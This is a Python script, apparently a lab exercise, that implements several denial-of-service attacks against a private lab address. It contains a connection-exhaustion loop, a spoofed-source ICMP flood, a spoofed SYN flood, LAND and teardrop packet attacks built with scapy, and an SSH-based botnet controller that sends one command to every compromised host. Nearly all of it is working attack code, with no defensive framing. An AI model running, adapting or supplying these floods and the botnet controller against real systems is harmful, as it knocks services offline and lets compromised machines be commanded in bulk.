import socket

#import pxssh
from scapy.all import *
import random
import multiprocessing
from threading import Thread
botNet = []
class SYNAttack:
    def __init__(self,max_connections=999):
        self.__sockets=[]
        self.__maxconnections=max_connections
        self.target_host=None
        self.target_port=None
    def attack(self):
        while len(self.__sockets)<self.__maxconnections:
            try:
                a=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                a.connect((self.target_host,self.target_port))
                
                self.__sockets.append(a)
                print(len(self.__sockets))
            except Exception as e:
                print(e)
class Client:
    
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception as e:
            print (e)
            print ('[-] Error Connecting')

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print ('[*] Output from ' + str(client.host))
        print ('[+] ' + str(output) )
def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)
def ping(host):
    src='%i.%i.%i.%i'%(
            random.randint(1,255),
            random.randint(1, 255),
            random.randint(1, 255),
            random.randint(1, 255)
            )
    id_ip = random.randint(1, 65535)  # 随机产生IP ID位
    id_ping = random.randint(1, 65535)  # 随机产生ping ID位
    seq_ping = random.randint(1, 65535)  # 随机产生ping序列号位
    packet = IP(src=src, dst=host, ttl=64, id=id_ip) / ICMP(id=id_ping, seq=seq_ping) / b'ping flood'*100
    send(packet, verbose=False)
def pingOfDeath(num=9999999):
    for i in range(num):
        ping('192.168.142.138')
        print("send 1 packet")
def my():
    a=SYNAttack(9999999999999)
    a.target_host='192.168.142.138'
    a.target_port=80
    a.attack()
def ping_Dos( pocesses=2):
    pool = multiprocessing.Pool(pocesses)
    while True:
        try:
            pool.apply_async(pingOfDeath)
        except KeyboardInterrupt:
            pool.terminate()
def synFlood():
    for i in range(100000):
        #构造随机的源IP
        src='%i.%i.%i.%i'%(
            random.randint(1,255),
            random.randint(1, 255),
            random.randint(1, 255),
            random.randint(1, 255)
            )
        #构造随机的端口
        sport=random.randint(1024,65535)
        IPlayer=IP(src=src,dst='192.168.142.138')
        TCPlayer=TCP(sport=sport,dport=80,flags="S")
        packet=IPlayer/TCPlayer
        send(packet)
def Land():
    for i in range(100000):
        #构造随机的源IP
        target='192.168.142.138'
        port=80
        #构造随机的端口
     
        a = (IP(src=target,dst=target)/TCP(sport=port,dport=port)) 
        
        send(a,verbose=False)
def teardown():
    target='192.168.142.138'
    while True:
        send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
        send(IP(dst=target, id=42, frag=48)/("X"*116))
        send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
if __name__=="__main__":
    my()
